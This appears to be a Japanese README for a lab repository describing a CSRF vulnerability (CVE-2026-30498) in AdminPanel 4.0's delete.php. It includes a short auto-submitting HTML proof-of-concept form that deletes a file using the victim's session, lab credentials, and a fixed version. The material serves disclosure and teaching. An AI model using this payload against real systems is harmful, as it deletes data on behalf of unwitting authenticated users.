CVE ID: CVE-2026-30498 (MITRE により予約済み)
発見者: Mehdi Ben Hamou
AdminPanel 4.0 の delete.php エンドポイントに クロスサイトリクエストフォージェリ(CSRF) 脆弱性が存在します。
この脆弱性により、攻撃者は認証済みユーザーの同意なしに、そのユーザーに代わって機密性の高い操作(ファイル削除)を実行できます。
この脆弱性は、CSRF 対策の欠如に起因します:
脆弱なエンドポイントは、リクエストの発信元を検証せずに、ユーザーセッションに基づいてリクエストを直接処理します。
悪用に成功すると、以下が発生します:
verifyPanel.php の削除攻撃者は、偽造リクエストを送信する悪意のある Web ページをホストします:
http://localhost:8080/delete.php?file=verifyPanel.php
被害者(認証済みユーザー)がこのページにアクセスすると、ブラウザが自動的にセッション Cookie を含め、リクエストが実行されます。
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
このリクエストは、被害者のセッション Cookie とともに自動的に送信されます。
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
このリポジトリには、脆弱性を安全に再現するための管理されたラボ環境が含まれています。
重要: このラボはシミュレーションであり、元の AdminPanel コードベースを正確に再現したものではありません。
環境をリセットするには:
/reset.php
安全なバージョンは以下に実装されています:
delete_fixed.php
追加された保護:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
このプロジェクトは教育および研究目的のみを意図しています。
適切な許可なしに、この脆弱性をシステムに対して使用しないでください。